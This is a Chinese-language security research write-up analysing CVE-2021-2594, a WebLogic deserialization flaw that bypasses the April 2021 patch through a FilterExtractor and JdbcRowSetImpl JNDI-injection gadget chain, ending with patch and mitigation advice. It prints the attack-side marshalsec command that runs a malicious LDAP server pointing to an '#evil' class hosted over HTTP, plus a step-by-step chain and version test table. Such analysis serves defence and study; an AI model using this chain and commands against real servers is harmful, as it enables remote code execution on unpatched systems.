作者:kejaly@白帽汇安全研究院
校对:r4v3zn@白帽汇安全研究院

前言

在2021年7月21日,Oracle官方 发布了一系列安全更新。涉及旗下产品(Weblogic Server、Database Server、Java SE、MySQL等)的 342 个漏洞,https://www.oracle.com/security-alerts/cpujul2021.htm 。其中,Oracle WebLogic Server 产品中有高危漏洞,漏洞编号为 CVE-2021-2594,CVSS 评分9.8分,影响多个 WebLogic 版本,且漏洞利用难度低,可基于 T3 和 IIOP 协议执行远程代码。

image-20210807174006932

经过分析,此次漏洞结合了 CVE-2020-14756 和 CVE-2020-14825 反序列化链,利用FilterExtractor 这个类来对4月份补丁进行绕过。

补丁回顾

在4月份补丁中,对 ExternalizableHelper 中的 readExternalizable 做了修改,增加了对传入的 DataInput 判断,如果是 ObjectInputStream 类型就会调用 checkObjectInputFilter 函数进行过滤。所以再利用 CVE-2020-14756 中直接反序列化 com.tangosol.coherence.rest.util.extractor.MvelExtractor 来造成 RCE 的方法已经行不通了。

image-20210731200401261

调试环境

本文基于 win7 虚拟机 + Weblogic 12.1.4 版本 + jdk 8u181 进行研究分析测试

修改目录 user_project/domains/base_domain/bin 目录中 setDomainEnv.cmd ,加if %debugFlag == "true"% 之前加入 set debugFlag=true

image-20210808124527849

拷贝 Oracle_Home 目录下所有文件至调试目录,将 \coherence\lib\oracle_common\modules 目录下所有文件添加到 Libraries:

image-20210808143219244

配置 idea 中 jdk 版本与虚拟机中运行的 weblogic jdk 版本保持一致。

添加 remote 调试:

image-20210808130051384

漏洞利用

该漏洞主要是因为 FilterExtractorreadExternal 方法中会直接 new 一个 MethodAttributeAccessor 对象,使得生成 MethodAttributeAccessor的时候不会受到黑名单的限制,来对4月份的补丁进行绕过。

FilterExtractor 类具有如下特征:

1.FilterExtractor 实现了 ExternalizableLite 接口,重写了 readExternal 方法:

image-20210731225455441

image-20210731224853652

readExternal 会调用oracle.eclipselink.coherence.integrated.internal.cache.SerializationHelper#readAttributeAccessor 方法:

image-20210731225350786

可以看到会 new 一个 MethodAttributeAccessor 对象,然后根据 DataInput 赋值它的 setAttributeNamesetGetMethodName 以及 setSetMethodName 属性(这就导致这三个属性是可控的)。

2.FilterExtractorextract 方法中存在 this.attributeAccessor.getAttributeValueFromObject() 的调用。

image-20210731224758737

熟悉 coherence 组件的漏洞的朋友应该知道在 CVE-2020-14825 中,就是利用 MethodAttributeAccessor.getAttributeValueFromObject() 来实现任意无参方法的调用的。

image-20210802114734096

虽然 MethodAttributeAccessor 已经加入到了黑名单,但是在上面提到的 readExternal 方法中恰好直接 new 了一个 MethodAttributeAccessor 对象,也就是说不是通过反序列化得到 MethodAttributeAccessor 对象,自然也就不受黑名单的影响。

调用链

完整调用链如下:

image-20210808155719656

image-20210808155731531

漏洞分析

根据构造的 poc ,我们首先在 AttributeHolder 类的 readExternal方法中打上断点,另一边则运行我们的 poc ,成功断下:

image-20210808140022295

步入,会调用到 com.tangosol.util.ExternalizableHelper 中的 readObject 方法:

image-20210808131237302

步入,最后会进入到 com.tangosol.util.ExternalizableHelper中的 readObjectInternal 方法中调用 readExternalizableLite 方法:

image-20210808131451279

image-20210808131440537

步入,在com.tangosol.util.ExternalizableHelper#readExternalizableLite 方法中,首先会调用 loadClass 去加载类,然后调用无参构造函数实例化一个对象,这里个加载的类是 com.tangosol.util.aggregator.TopNAggregator$PartialResult

image-20210808140620204

image-20210808140805886

随后会调用 com.tangosol.util.aggregator.TopNAggregator$PartialResult 类的 readExternal 方法:

image-20210808140835192

步入,会再次调用 com.tangosol.util.ExternalizableHelper.readObject 方法来读取一个对象并且赋值到 this.m_comparator 中,

image-20210808141029972

步入,之后会再次调用到 com.tangosol.util.ExternalizableHelper#readExternalizableLite 方法,由于这次读取的 sClassoracle.eclipselink.coherence.integrated.internal.querying.FilterExtractor ,所以会实例化一个 FilterExtractor 对象,然后调用它的 readExternal 方法:

image-20210808142024469

image-20210808142214228

步入 ,来到 FilterExtractorreadExteral 中,会调用 oracle.eclipselink.coherence.integrated.internal.cache.SerializationHelper#readAttributeAccessor 方法:

image-20210808143603175

步入,会 new 一个 MethodAttributeAccessor 对象,并且调用 com.tangosol.util.SerializationHelper#readObject 方法给 MethodAttributeAccessor 对象的 attributeName , getMethodNamesetMethodName 这三个属性赋值:

image-20210808143801656

赋值之后的结果为:

image-20210808144104145

再回到之前的 com.tangosol.util.aggregator.TopNAggregator$PartialResult 类的 readExternal 方法中,this.m_comparator 变成了上面 oracle.eclipselink.coherence.integrated.internal.querying.FilterExtractor 对象:

image-20210808144402894

image-20210808144327322

接着在 182 行,会调用 this.instantiateInternalMap(this.m_comparator) 方法,步入,会把 FilterExtractor再封装到 WrapperCompator 中,然后传入 TreeMap的构造函数,实例化一个 TreeMap 对象并且返回:

image-20210808141502913

image-20210808141550888

186 行,调用 this.add 方法,这里 ExternalizableHelper.readObject(in)返回的是 JdbcRowSetImpl 对象

image-20210808144613713

image-20210808145429530

image-20210808145535391

接着步入 super.add 方法:

image-20210808145715414

然后会调用 TreeMap.put 方法,添加传入的 JdbcRowSetImpl 对象,最后会来到 com.tangosol.util.WrapperComparator#compare 方法并触发 this.f_comparator.compare 方法, this.f_comparator 正是之前传入的 FilterExtractor 对象:

image-20210808145854481

image-20210808150025202

步入,会调用 com.tangosol.util.extractor#compare 方法,这个方法中又会调用到 this.extract 方法,也就是会调用 FilterExtractor#extract方法,进而调用 this.attributeAccessorinitializeAttributes 方法, 而此时的 this.attributeAccssorMethodAttributeAccessor 对象,所以会调用 MethodAttributeAccessor#initializeAttributes 方法:

image-20210808150355702

image-20210808150607874

MethodAttributeAccessor 中的 initializeAttributes 方法中首先会调用 this.setGetMethod 方法来设置 MethodAttributeAccessorgetMethod

image-20210808150900913

其中 Helper.getDeclaredMethod 方法流程如下,是通过传入的类,方法名,以及参数类型来得到对应 classMethod

image-20210808151640146

image-20210808151652788

image-20210808151710584

此时由于 theJavaClasscom.sun.rowset.JdbcRowSetImpl, this.getMethodName"prepare" ,所以第一次得到的 prepare 方法:

image-20210808152025322

image-20210808151846383

image-20210808152752546

与 CVE-2020-14825 的反序列化流程不同的是, 因为在 initializeAttributes 的时候,我们不能再通过控制 isWriteOnly 属性为 true ,所以会进入到下面这个 if 分支里面去:

image-20210808152621203

会先调用 this.getSetMethodParameterTypes 得到 this.getGetMethod 属性代表的方法的返回值:

image-20210808152901259

image-20210808152930826

this.getGetMethod 在上一步赋值为了 protected java.sql.PreparedStatement com.sun.rowset.JdbcRowSetImpl.prepare() throws java.sql.SQLException

image-20210808152752546

所以这里 this.getSetMethodParameterTypes 方法得到的是 java.sql.PreparedStatement类型:

image-20210808153417492

然后调用Helper.getDeclaredMethod(theJavaClass, this.getSetMethodName(), this.getSetMethodParameterTypes()); 就会得到 protected java.sql.PreparedStatement com.sun.rowset.JdbcRowSetImpl.prepare() throws java.sql.SQLException 方法。

initializeAttributes 结束后 MethodAttributeAccessor的属性值:

image-20210808151526352

接着,回到 FilterExtractor#extract 方法中,会继续调用 this.attributeAccessor.getAttributeValueFromObject 也就是调用 MethodAttributeAccessor.getAttributeValueFromObject 方法:

image-20210808154424927

步入:

image-20210808154531032

步入,会利用反射调用方法:

image-20210808154635155

此时 this.getMethodprotected java.sql.PreparedStatement com.sun.rowset.JdbcRowSetImpl.prepare() throws java.sql.SQLExceptionabObjectJbbcRoeSetImpl

image-20210808154732164

这就导致了 jndi 注入的产生:

image-20210808155204288

image-20210808155230255

image-20210808155304593

我们在本地使用 marshalsec 搭建恶意 jndi 服务端:

java -cp marshalsec-0.0.3-SNAPSHOT-all.jar marshalsec.jndi.LDAPRefServer http://192.168.1.1:8000/#evil 1389
python -m http.server

成功 RCE:

image-20210808155635821

jndi 版本问题

在Oracle JDK 11.0.1、8u191、7u201、6u211之后 com.sun.jndi.ldap.object.trustURLCodebase 属性的默认值被设置为false,所以此 ldap + jndi 导致 RCE 的方法失效。

10.3.6.0 问题image-20210731232046827

在使用基于 TopNAggregator.PartialResult 的 poc 对官网说的版本进行复现的时候,发现 10.3.6.0.0 版本中并不存在 com.tangosol.util.SortedBagcom.tangosol.util.aggregator.TopNAggregator 这两个类:

image-20210731210430975

缺少 SortedBag

image-20210731210551756

缺少 TopNAggregator

image-20210731210604714

weblogic 版本问题

使用不同 weblogic 版本的 jar 包对不同版本的 weblogic 进行测试,经过测试研究发现以下情况:

jar 版本 weblogic 版本 成功情况
12.1.3.0.0 12.1.3.0.0 成功
12.1.3.0.0 12.2.1.3.0 失败
12.1.3.0.0 12.2.1.4.0 失败
12.1.3.0.0 14.1.1.0.0 失败
12.2.1.3.0 12.1.3.0.0 失败
12.2.1.3.0 12.2.1.3.0 成功
12.2.1.3.0 12.2.1.4.0 成功
12.2.1.3.0 14.1.1.0.0 成功
12.2.1.4.0 12.1.3.0.0 失败
12.2.1.4.0 12.2.1.3.0 成功
12.2.1.4.0 12.2.1.4.0 成功
12.2.1.4.0 14.1.1.0.0 成功
14.1.1.0.0 12.1.3.0.0 失败
14.1.1.0.0 12.2.1.3.0 成功
14.1.1.0.0 12.2.1.4.0 成功
14.1.1.0.0 14.1.1.0.0 成功

7月份补丁影响

打了7月份补丁之后,会报错:

image-20210810163347804

原因是在 WebLogicFilterConfig 类的DEFAULT_BLACKLIST_PACKAGES 字段中新增了 oracle.eclipselink.coherence.integrated.internal.querying 这个包:

image-20210810184055290

FilterExtractor 类正好在 oracle.eclipselink.coherence.integrated.internal.querying 包下面,所以导致被黑名单拦截了下来。

修复建议

通用修补建议

Oracle官方已经发布补丁,及时进行更新:https://www.oracle.com/security-alerts/cpujul2021.html

Weblogic 临时修补建议

  1. 如果不依赖 T3协议进行 JVM通信,可禁用 T3协议。
  2. 如果不依赖 IIOP协议进行 JVM通信,可禁用 IIOP协议。

参考

https://www.cnblogs.com/potatsoSec/p/15062094.html

https://mp.weixin.qq.com/s/LbMB-2Qyrh3Lrqc_vsKIdA


Paper 本文由 Seebug Paper 发布,如需转载请注明来源。本文地址:https://paper.seebug.org/1684/